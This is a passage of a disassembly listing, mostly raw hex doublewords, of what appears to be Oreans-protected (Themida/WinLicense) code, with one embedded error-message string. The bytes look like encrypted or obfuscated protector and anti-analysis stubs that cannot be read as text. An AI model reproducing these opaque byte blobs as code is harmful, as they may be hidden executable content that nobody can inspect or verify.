0EF38C289h, 0A482232h, 6972CE76h, 43Ah, 0E967575Dh dd 0E66A4842h, 0E0685059h, 0FC6C705Bh, 0FD536B57h, 0C1C9A1D0h dd 0DDC857F9h, 0C3C857F9h, 0C6C66DE3h, 95968E0h, 9F84C4ACh dd 0FAACDFC6h, 5D4A7A52h, 0FFC8217Dh, 527454A3h, 23EB01FEh dd 0DFECEDF1h, 420455EEh, 5CF10A77h, 0E03E0FC9h, 92ECA71Dh dd 341A32C6h, 7F0B8EE6h, 7C30EAC8h, 0E836060Dh, 0B67317C4h dd 927D9D63h, 744596C6h, 509535D6h, 0B8FBC3CFh, 0F1EB73EDh dd 5C5161h, 2150000h, 50AE26EEh, 39F69519h, 7AD3E6E8h dd 77C95C30h, 0F8C90D38h, 865DFA2h, 6313C692h, 8AA1EBBh dd 0F720C692h, 30D4EC60h, 0BC19B102h, 0C6923334h, 4EADFECFh dd 0F64E7B1Fh, 662A4921h, 875969AFh, 0C1F58DD5h, 7D1782E1h dd 0BE61F284h, 7BF3CC86h, 387B25D3h, 0C943h, 7A520700h dd 0E62D7254h, 59A188D6h, 93D8C07Dh, 47AB9A5h, 0F3CF0F3Bh dd 5CA28484h, 0BD153913h, 5C62AAF5h, 75B911E7h, 0E2C112C3h dd 0BC244B6Eh, 0E923C375h, 0EC3C0BC5h, 15DBF4CAh, 0CA7B5E70h dd 0A7C95CAEh, 72CAFA56h, 6B17C4B8h, 85387BCCh, 892CA667h dd 0CCB8C98Eh, 0A8507A4Bh, 56257D90h, 0A19CB9C2h, 0DA764472h dd 8875454Dh, 701EA5C2h, 0E7AD2E0Ah, 30000002h, 311E3204h dd 0C1B3515h, 0E153B03h, 0A113F1Fh, 83123E1Ch, 4472BCF4h dd 4470BF84h, 4E6EBF84h, 0B393B582h, 1FBA2C9Dh, 0C69F85A9h dd 350F7BAAh, 0C7C8E67Dh, 90D39B73h, 0D4575BDh, 0E8CBEB22h dd 0E9CDDF64h, 0A790BF67h, 64BA8289h, 87E63405h, 0EE0232A4h dd 0B912A72Fh, 0B6C95CFEh, 0D0A41965h, 0A6C692FEh, 65FFE5E5h dd 6761F272h, 0F1h, 547A5263h, 0B0F13906h, 75E29365h, 4EB319C3h dd 0B6482012h, 715594E5h, 0D33C0D51h, 4D6B54FBh, 0C1287646h dd 485DAAF0h, 0E5D01F68h, 0C9AC92D1h, 0C375FCA6h, 72556BBDh dd 0EC3D0C52h, 0D1F5D77Ch, 537AC58Dh, 0D5C02F73h, 2E5590E1h dd 2E8BC3C2h, 0C95CEE65h, 672F2172h, 0B324FACFh, 0BE80DCB4h dd 0EB2ACC91h, 7BAF985h, 9DA224E9h, 34BAA8Ah, 0B8150AB6h dd 16B889CCh, 953D1D09h, 0A4A4B800h, 0B6ABBC8h, 0C6D39B43h dd 0C8A4A472h, 0EEC52071h, 0A39B84A0h, 133D0E5Fh, 7F3C1A04h dd 701EF303h, 0CF6675CDh, 28000001h, 2976DAFCh, 2473DDFDh dd 260DC3FBh, 2209C7E7h, 0BB0AC6F4h, 6C6A540Ch, 6C6857FCh dd 567657FCh, 5B7BADFAh, 79234F5h, 0C69F8AB1h, 521743B2h dd 0D37C5664h, 0A28BD7E7h, 3B7A424Fh, 183E6E35h, 9FBFE9B6h dd 0C50B6A43h, 0CC7D3505h, 11AB616Fh, 2B7D5093h, 0D02E2E15h dd 252A8F9h, 0F2C4F43Dh, 52D1D9FEh, 0A48BEA91h, 40084264h dd 0F74B3D98h, 7F48C375h, 75F736BAh, 8DFCCDC3h, 0F67AB999h dd 0B812F3F9h, 5D07681Dh, 3E1C6DC9h, 92A6F97Bh, 0BADC8FC6h dd 0ADFE4109h, 9B58B18Dh, 0C692A615h, 0B9EDD2Eh, 61F24699h dd 29ABh, 0EE023F00h, 7912A72Fh, 8FC95CEAh, 0CC6F79B7h dd 3A796A3Bh, 5F227849h, 0C69278E5h, 0CADEF893h, 61F1F45Ah dd 2E6Ah, 6A357C00h, 7ADF1E3Ch, 0C375E2F5h, 0E5EDB03Ch dd 5CF82FD0h, 0D8F25DC9h, 993CA4FAh, 0C692F417h, 0B3F2C32Ch dd 76D9F1C2h, 0DD2C7248h, 2BE529Eh, 0FFA72FEEh, 0E21EE237h dd 0C415C375h, 0E2413782h, 7142C375h, 0EA905532h, 142CC95Ch dd 0B4CD7DFAh, 0F045A0D2h, 1EE65BA7h, 68C692C6h, 90B497B8h dd 9C840255h, 61F26704h, 29C0h, 0D358200h, 75E2C0A8h, 0BCECC3C3h dd 1465449Ah, 0A5CBAAC2h, 3B7A0D4Ah, 7538E65Eh, 0C8CD23C3h dd 220A3386h, 0B687C95Ch, 0EE02F69Ah, 0E2FD4356h, 0A5F6C375h dd 233A7254h, 99D30841h, 0C5D09AD9h, 0C9607E7Ah, 0E7D02E7Fh dd 0E04F81A5h, 0C5B886A8h, 0CCCED129h, 33913950h, 0C1B3519h dd 0FCE43A1Ch, 185B7B53h, 8C3B1235h, 9084311Ah, 0FB38FD8h dd 8DD1F847h, 99B3FAEh, 0A113F1Fh, 0FDDE3C02h, 0Ah, 1B236E31h dd 0D387E6C7h, 66526F23h, 0EB3D0A50h, 8388F7CBh, 25105FA3h dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h dd 5002E43Ah, 405E089h, 2D000000h, 4, 5C240487h, 50243C89h dd 405E089h, 83000000h, 48704E8h, 1C895C24h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 68240C89h, 4474h dd 0B9240C89h, 27819EDh, 7231E9BBh, 59CB0103h, 240C8B54h dd 8104C483h, 4ECh, 241C8900h, 0FF08418Fh, 83592434h, 1C8B04C4h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 1285E95Ch dd 4B3AFFFDh, 6EB8D251h, 305EA6Ah, 0F7E0FFC5h dd 0FF2C8DD0h, 0B1468D41h, 9B1CF667h, 0C16AC837h, 0F52940EBh dd 0F7143629h, 207A390Fh, 8F36F89Eh, 0FD6F1316h, 2906DB7Bh dd 0DD295639h, 266078C9h, 0E95A2596h, 83h, 56525153h, 245C8B57h dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh dd 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 0FE8CAh, 0F72C0000h dd 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h, 890F607Dh, 18h, 13E9h dd 2DDFD700h, 0CC569D88h, 4FD66171h, 0F266C13Ah, 99FDBF7Bh dd 840Fh, 58610000h, 81D2B70Fh, 6F65C0h, 14E900h, 99830000h dd 7563F7FEh, 5B94CF0h, 42612573h, 5E48E020h, 0A2BEE016h dd 0F900001Bh, 0FE9088Bh, 41000000h, 5A546065h, 9AB0842Bh dd 0A480A937h, 0C181513Bh, 4552C431h, 0FDD1F181h, 0EE935AEh dd 79000000h, 699DED40h, 5A250255h, 0F819C7F2h, 0AE981D5h dd 0E974A806h, 11h, 9B350F7Fh, 0B004CD05h, 60EA781Ah, 0B975A2E3h dd 0B30889BCh, 4E88330h, 83FE8B66h, 850F01EEh, 0Dh, 19E9F8h dd 589B0000h, 2698E179h, 65BB660Ch, 0FF86E9E3h, 0B248FFFFh dd 0C400B2B5h, 0E821190Eh, 6, 9E48A038h, 8D0FF68Dh, 3 dd 59D1BF0Fh, 8F0Fh, 0C1810000h, 6276h, 0F52DB2Bh, 8B5ED2BFh dd 860F1904h, 3, 81F38B66h, 10FDD3F0h, 70F0810Ch, 0E93C1AA2h dd 6, 1513084Ch, 0E881A28Bh, 6E6B21A8h, 3864A1BEh, 1904896Ah dd 0CE9h, 5696D00h, 4F0898A3h, 196F503Ch, 7E8D0h, 0A6300000h dd 0E0224D9Ah, 0D281667Ah, 835A73C6h, 666004EBh, 0D98BD38Bh dd 64FB8161h, 0FFFFF9Eh, 2285h, 0C8D0F00h, 0F000000h, 68Dh dd 890F00h, 0E9000000h, 3Ah, 729561CEh, 59A0AF99h, 0F846494h dd 1A87h, 12E800h, 0AF4E0000h, 16577D4Fh, 330446FFh, 0E9900E1Dh dd 9C2668DCh, 0E95F41B2h, 0FFFFFF4Fh, 7FE905EFh, 0D36B60E2h dd 34EB59D4h, 4D534649h, 20205247h, 20444B56h, 20202020h dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h dd 20205244h, 3 dup(0) dd 790E9h, 9BB6000h, 0F1AB421h, 186h, 6061F900h, 0B966F860h dd 0C761F96Eh, 0EA6DAF85h, 5, 12E900h, 0F02C0000h, 0F42E14FDh dd 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 890FC68Bh, 1, 0D8B70FF9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 14C35545h dd 5D23C6A7h, 15614E17h, 10E8C1F5h, 118B0Fh, 0CE90000h dd 26000000h, 27D266A1h, 708F7DB7h, 66D8F314h, 6A08C8C1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 1771C357h, 108C4052h, 0FFC11B4h, 882h, 0BF0F6000h dd 67CB80F2h, 128D0F61h, 0E9000000h, 0Dh, 0DE86C0EAh, 295D959Ah dd 0D95F817Dh, 0B38589EBh, 6A05EA6Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A09CC356h dd 8E9DF08Ch, 0FC50E546h, 8CBC166h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 9FC35242h, 0F28B605Ch, 12E9h dd 92743300h, 30BB0EB6h, 8CCCA319h, 997AC67Ch, 61654427h dd 0F40FB83h, 4F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 48FCF5C4h, 8DFCF6DAh dd 0EA6D87BDh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0AAB2A790h, 89E9F8FBh dd 0F8000001h, 0F0DFB83h, 7385h, 16840F00h, 0E9000000h dd 11h, 0F216506Dh, 0CE1E094Bh, 598D5399h, 0B619FD3Fh dd 8FBD8D3Bh, 6A05EA6Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 7847C353h, 88B0Fh dd 8A0F0000h, 2, 2DE96160h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 318C351h dd 0F5DEFC03h, 0F01FB83h, 5285h, 0BD8DFC00h, 5EA6D97h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0B9C35747h dd 0F80D90D2h, 78C0Fh, 800F0000h, 1, 0CAE9F8h, 0E8600000h dd 0Bh, 996E4B99h, 0E40A56B3h, 6601B29Ch, 0BAC2D981h, 8361F858h dd 850F2AFBh, 7Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 10C35141h, 191DB4ACh, 10E20F96h, 9FBD8DFCh dd 6005EA6Dh, 0CAB70FFCh, 72E961h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE90EC3h dd 26000000h, 7AA39FDCh, 3E671454h, 0E39B2B8Fh, 12E9h dd 0AD3D0C00h, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh, 83052199h dd 850F27FBh, 312h, 0A7BD8DF8h, 0F05EA6Dh, 1787h, 118E0F00h dd 0E9000000h, 0Ch, 1E32498Ch, 3CC5EEA1h, 5A360766h, 6DB7BD89h dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0B1979FC3h, 0B4C4F623h, 6AC88C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 1413C350h, 7B41E8D4h, 9E956524h, 10E9h, 67A72B00h, 0BF39391Bh dd 0AFF3F9ABh, 0F7528C9Ah, 6A0324A7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 2A6C355h dd 450A9198h, 0FCC21EEh, 1280h, 0DE900h, 91560000h, 550F9F58h dd 18313D48h, 0A722024h, 0B2850FC0h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E91FC351h, 0Dh, 100A1A2Ah, 0A9F794A2h, 9C793D40h, 1870F31h dd 0FC000000h, 7412B58Dh, 8B0F05EAh, 7, 18B0Fh, 8BFC0000h dd 0EA748E85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0F32BE720h, 8A66B260h dd 0F5061F8h, 0D83h, 0ECBA6000h, 0F466DD6h, 80h, 14896100h dd 10FF524h, 0FFE244Ch, 0A8Eh, 5E900h, 0B5310000h, 5ACFEFFFh dd 11E9h, 7E00AC00h, 473B42CAh, 0F447851Ah, 785F1A21h dd 9E9C179h, 0A7000000h, 0C9B3656h, 0EE39D653h, 0F824C283h dd 0FC728966h, 5AD48060h, 12E9h, 48A7B600h, 868D2E1Fh dd 0D2D3E941h, 0BEA2512h, 61043A38h, 1830Fh, 0C1F50000h dd 6A10CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 404076C3h, 0C28B60AAh, 72896661h, 57006A02h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 4A1307F9h, 11E9A6B7h, 6F000000h, 0EE074E65h, 0FFD89853h dd 3B6FC2E8h, 6B54CF72h, 890F60h, 0B3000000h, 4CD6183h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C9C35242h dd 0C64572A9h, 0FE90751h, 74000000h, 2510238Bh, 36E31460h dd 10E141CEh, 8AE9C673h, 0F000000h, 88Fh, 2890F00h, 60000000h dd 7E961h, 0AC020000h, 7138684Eh, 8E858B95h, 0F05EA74h dd 1287h, 0DE900h, 0E65F0000h, 0BBF8CFE6h, 37BE68Ah, 8D3ADAB4h dd 0EA7412B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 43726728h, 8D2AF47Ah dd 0EA480185h, 0EE9FC05h, 28000000h, 0B4CFA02h, 0DB2F31EAh dd 0F3F39DBFh, 0F5D0FF09h, 8B666060h, 616160CBh, 64F2BA66h dd 0AF858961h, 6005EA6Dh, 0E9D3BF0Fh, 11h, 6B2A6B89h, 48A4AF5Dh dd 0A61DDF2h, 3F767AB5h, 6A616130h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 28B0C353h dd 858BFC43h, 5EA6DAFh, 6AC3F8h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 135865C3h, 195FC125h dd 602C63A0h, 8EBD83FCh, 5EA74h, 57850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0ADCFC1C3h, 0EB309D2Ah, 85C7FC51h, 5EA748Eh, 1013Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ADC35141h dd 0A83A8465h, 6060265Fh, 610FD480h, 0FE961h, 0E9F50000h dd 9, 0C26DE6E4h, 0E2B09C02h, 20CD1Bh, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 5EA6DB7h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 5EA6DB3h, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 5EA6DAFh, 8B04EBh, 8B61C5EBh, 0EA6DAF85h, 6ACF05h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 8EE78DC3h, 36D02488h, 602C792Dh, 666061FCh, 0F489E681h dd 8E9h, 61BBE500h, 0C2C81B78h, 6A618Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 2E96C6C3h dd 8E960h, 2FC50000h, 0D3808E6Fh, 8166851Bh, 617BB4DEh dd 7840Fh, 8C0F0000h, 1, 0E9C08BF5h, 400h, 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 0E4h dup(0) dd 56h, 45h, 0 dd 1281E9h, 0BD858900h, 0F805E70Dh, 5F1858Bh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0F9B438C3h, 0BEFDC2F6h, 0FE914h, 0EDCE0000h, 0C8DD43CBh dd 6DE6E444h, 0B09C02C2h, 244439E2h, 6D850F04h, 0F000000h dd 982h, 8D0F6000h, 0 dd 0BD2961FCh, 5E71619h, 2E41BD83h, 0F0005E7h, 4B84h, 68E0F00h dd 29000000h, 0E715B9BDh, 17858D05h, 6A05E739h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0A7BCC350h, 1880Fh, 1F80000h, 0E72359BDh, 0E9E0FF05h dd 8, 3496F00h, 79DD7A42h, 13C5858Bh, 6A05E7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0D99A4AC3h, 5E860h, 30110000h, 8BB1979Fh, 0E701A9B5h dd 0FCBA5F05h, 61529F04h, 2F19589h, 443905E7h, 850F0424h dd 36h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h dd 97C35343h, 0DD06DF2Ah, 0EC19589h, 85C705E7h, 5EA7953h dd 1, 1A019589h, 6A6005E7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 13D2C355h, 0E9557767h dd 28h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 0B5C35242h, 9D2960A8h, 5E72DD9h, 0 dd 1B8h, 0E3858700h, 0B05EA7Ah, 0FFF675C0h, 0E707F9B5h dd 4B858F05h, 6A05EA79h, 0FFFF6A20h, 0E7218595h, 35BD8305h dd 5E70Fh, 6A0874h, 1A1D95FFh, 0BD8305E7h, 5E70D4Dh, 680D7401h dd 80h, 95FFFF6Ah, 5E72185h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 71C35545h, 0F182738Ch, 60058689h dd 7E8h, 0DCEC3F00h, 2984429Dh, 5AFAB70Fh, 61C7B70Fh, 0B8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0BE2E7E7Ch, 0F8E1D5C7h, 2824548Bh, 6820Fh dd 9D010000h, 5E723A9h, 25C58589h, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 10BEE1C3h dd 69219576h, 8957F521h, 0E72B219Dh, 0CE905h, 27290000h dd 6416BA94h, 42912EEh, 3CBE4B5Ch, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0D2F8C351h, 0F5FD9D19h, 24247403h, 2E19D89h, 0AD6605E7h dd 44036160h, 6A2424h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0EED06CC3h, 64D6F4C6h, 0EE9AEh dd 0C8380000h, 76B55ED9h, 0E38AA6A0h, 396A58Ch, 0E820F50h dd 50000000h, 0F616052h, 0F525031h, 5A585A31h, 24048958h dd 78408BF8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 72C35343h, 2DB59D89h, 950105E7h, 5E708C9h, 7953BD83h dd 0F0005EAh, 10E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 5090F852h, 13E952h, 40C0000h dd 107D5E91h, 36B090FFh, 9AB237CDh, 0E87A7F31h, 60310F77h dd 0FF78B66h, 8Bh, 585A6100h, 5E950h, 64CB0000h, 9099BC4Dh dd 0EE9h, 30CA1400h, 0DBE17A7Eh, 0E21A1279h, 8B955FADh dd 0E92C2444h, 5, 47C6AE5h, 52509081h, 8BF98B60h, 310F61CFh dd 6830Fh, 880F0000h, 0 dd 0F50585Ah, 1684h, 11E900h, 4EBB0000h, 0B934B9BDh, 0E19036DDh dd 0AA3B0711h, 900CBAEAh, 1B69BD89h, 858D05E7h, 5EA48C0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EFC35343h dd 3BC4F88h, 810F9247h, 0Bh, 0BAEC8060h, 2D05858Bh, 0FF6105E7h dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0B13B44BDh, 3F8D11Fh, 6A282444h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 3198C357h, 0E713019Dh, 18408B05h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 8AC35242h, 0D9CD5B8h, 40A05CEBh dd 1F799D09h, 858905E7h, 5EA794Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 6AC35040h, 67D72605h, 108F0Fh dd 0BE90000h, 3A000000h, 61E4E552h, 0E4FA6AD3h, 8958CD4Ch dd 0E702F19Dh, 78708B05h, 20358589h, 0C68305E7h, 8166601Ch dd 0B7C813C9h, 6A9661BDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 2406C352h, 0F9952C6h dd 1184h, 0CE900h, 0EEAA0000h, 374B50F8h, 0C72D6C70h, 7C81CBDAh dd 2424h, 870F1000h, 146h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0D7C35343h, 150DEEB9h, 8B605325h, 0E700099Dh dd 199D8B05h, 6105E731h, 850F6090h, 0 dd 8C0F5061h, 0Ch, 6850Fh, 52500000h, 585A310Fh, 7D9D2990h dd 0E905E721h, 5, 4665B79Fh, 24448B42h, 50006A28h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0D98589C4h, 9005E70Ah, 52505250h, 0CE9h, 0EB4C5A00h dd 875C60DDh, 7B5F134Ah, 50310FAAh, 5A310F52h, 0F585A58h dd 0CE96031h, 0C000000h, 0BD4FEF7Fh, 0EE6784F0h, 0F889AF3h dd 81h, 585A6100h, 0E9525050h, 0Eh, 0E25C0D3Fh, 0ADF7E0Fh dd 0FCADC123h, 310F58C0h, 11E960h, 5B90000h, 42612573h dd 5E48E020h, 0C82EE016h, 66644B7Fh, 5A61D88Bh, 14E99058h dd 13000000h, 264B5182h, 0B6FEF64Dh, 0DEEAD682h, 373D1ED6h dd 8D307222h, 0EA48C085h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 84BF0C27h dd 7D37CE54h, 2A0D9D01h, 0D0FF05E7h, 20F99D89h, 6A9605E7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0CF2FC353h, 0E1DB69ABh, 0E9FE8B60h, 10h dd 0BCE2070h, 0F1F7CC3Ch, 0BC60FDE4h, 5DA888A2h, 7DBD0961h dd 3105E721h, 0E71CBD9Dh, 24740305h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0AF967997h dd 0A65DC0E7h, 54DB589h, 0BD8D05E7h, 5E71275h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 14C35242h, 5EE902B1h dd 1555FA45h, 1BD1BD31h, 11E905E7h, 68000000h, 7017AF46h dd 0BF1CA08Ch, 0B5A9B294h, 6E467967h, 57006AADh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 3A9EFF1Eh, 0FBCE42Ah, 68Dh, 85950100h, 3105E731h, 0E72BCDB5h dd 247C8105h, 24h, 23870F10h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8372C355h dd 362662D2h, 9BA9302Bh, 12AD9589h, 0BD8905E7h, 5E706B9h dd 45BA6090h, 0BB26215Fh, 5E7CA5A5h, 800F5061h, 8, 2800Fh dd 61600000h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 7314F0ADh, 3D758E8Ah, 6660B25Ch dd 4AEFC981h, 614EE380h, 2824448Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D7C35242h, 0EA48AC84h, 60232D50h dd 4D59D89h, 8D8905E7h, 5E7134Dh, 8B605061h, 61D08BF9h dd 0E9240489h, 0Ch, 2FD4693Ah, 0EFB0DFC4h, 3FFC7236h, 48C0858Dh dd 958905EAh, 5E71B65h, 6AD0FFF9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 2540C350h dd 14ECB710h, 0AE6D1A1Fh, 0D8BA6660h, 0B5316116h, 5E717A5h dd 11E9h, 0FF5C7800h, 22E99E4Ch, 636F7A64h, 44876ADh, 44035C4Dh dd 0CE92424h, 3F000000h, 339F5CBh, 0C1F36F2h, 0AB2A9497h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B8C35545h dd 0EE954h, 74AD0000h, 5D6A0C24h, 4E5B298h, 0C91E4A88h dd 0FA81h, 820F0001h, 75Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 9EC35141h, 0F27B4742h, 0BDBD8D3Eh, 8905E731h dd 0E7023185h, 81FCAD05h, 24247Ch, 0F100000h, 11487h, 78A0F00h dd 0F000000h, 18Dh, 0F90F500h, 0C87h, 7E900h, 0BDA40000h dd 8C981707h, 0E86050C8h, 12h, 9D971BF5h, 0BD0C2D9Bh, 0A117167Fh dd 0C7296725h, 31B67D96h, 0F88B665Eh, 6A9061h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0AFE2BCC3h, 3909ACB3h, 11858B60h, 2B05E728h, 0E72A4DBDh dd 448B6105h, 10E92824h, 34000000h, 22C41443h, 607929F1h dd 25DB2D18h, 90540E19h, 8A0F5250h, 6, 310F5250h, 310F585Ah dd 0DE9h, 5359900h, 0F1E276E7h, 0EADCA3E9h, 585AA3DCh dd 9E950h, 0E7570000h, 913EB178h, 90942670h, 0AE9h, 0D8D78100h dd 78EE2AE4h, 8D34EF1Eh, 0EA48C085h, 0EE905h, 0D9150000h dd 40D397A1h, 60CC37C7h, 0F732D8B5h, 7860Fh, 860F0000h dd 1, 6AD0FFF8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0F978C357h, 244403F5h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F505A09h, 88Dh, 850F6000h, 0 dd 24048961h, 8A0F60F9h, 10h, 0BE9h, 1C7B9900h, 66629288h dd 0ED33D49Dh, 1C75B589h, 0AB6105E7h, 68D0FF9h, 89000000h dd 0E707C5B5h, 6DBD8D05h, 6A05E726h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B3F3C353h dd 13E94490h, 6000000h, 35DCC45Eh, 0F859EC6Ah, 0FC12B395h dd 0ED572A5Fh, 8960429Ah, 0E701699Dh, 9D958B05h, 6105E725h dd 0F18060ADh, 0F38B6637h, 8D0F6061h, 6, 8A0Fh, 0B58B0000h dd 5E7085Dh, 247C8161h, 28h, 0DB870F10h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 2409C350h, 0E5075C3h, 0E646412Dh, 128D0F90h, 50000000h dd 840F52h, 0F000000h, 8C0F31h, 5A000000h, 890F5058h, 0Fh dd 0AE9h, 0E23CE100h, 0D53CC22Fh, 901A0208h, 0AE5BD01h dd 448B05E7h, 860F2C24h, 0Ch, 6840Fh, 8D890000h, 5E72535h dd 0BE950h, 78A70000h, 720987F1h, 0D3DDC4E5h, 240489C6h dd 8B5FB760h, 0E712418Dh, 858D6105h, 5EA48C0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0EFC35040h, 2D95892Fh dd 0FF05E709h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0F96191Dh, 4403F9E2h dd 6A2824h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0ABF391C3h, 1CE9B960h, 8D891C07h, 5E72DD9h dd 8DFF5E61h, 5EA794Fh, 794FBD83h, 750005EAh, 8DC0330Ah dd 0EA8914B5h, 56E6FF05h, 247C81ADh, 28h, 500E7710h, 2C24448Bh dd 0C0858D50h, 0FF05EA48h, 244403D0h, 0DF8B9728h, 794B858Ah dd 0C08405EAh, 73A0474h, 32574C75h, 0FD75AEC0h, 52FB2B5Eh dd 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh dd 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h dd 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h dd 0D03B5AC1h, 835E0F74h, 85FF04C6h, 5E725C5h, 0FFFF5DE9h dd 10E95EFFh, 22000000h, 0B0344AFEh, 9E3468EAh, 0B1885141h dd 6A9B8F2Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 